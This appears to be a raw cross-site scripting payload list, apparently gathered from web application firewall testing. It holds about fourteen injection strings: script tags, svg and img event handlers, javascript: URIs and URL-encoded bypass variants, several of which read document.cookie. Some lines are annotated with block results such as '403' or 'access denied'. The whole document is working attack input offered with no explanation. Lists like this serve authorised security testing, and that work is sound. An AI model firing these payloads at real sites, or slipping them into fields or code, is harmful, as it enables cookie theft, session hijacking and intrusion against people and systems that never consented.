<script>alert(123)</script>
"><script>alert(document.cookie)</script>
<ScRipT>alert("XSS");</ScRipT>
<ScRiPt>alert(1)</sCriPt>
</title><!--><svg onload%3Dlocation=loc%26%2397;tion.h%26%2397;sh.subst%26%23114;%26lpar;1)> (access denied)
javascript%3Aalert(document.domain)
<iframe <><a href=javascript:alert(document.cookie)>
"><img src=x onerror=alert(1)>
<img src=z onerror=prompt(document.cookie)>
"<svg/onload=alert(document.cookie)>
"></from><div class="inner product-tab"><h3><jAvAsCrIpT: onclick=location=tagname+innerHTML+location.hash>/*click me!"> (you are blocked)
"onmouseover="alert(1)>
/**%00/onclick=%0Aalert(1)> (403)
<svg onload="alert%26%2300000000000040;1%26%2300000000000041;"> (403)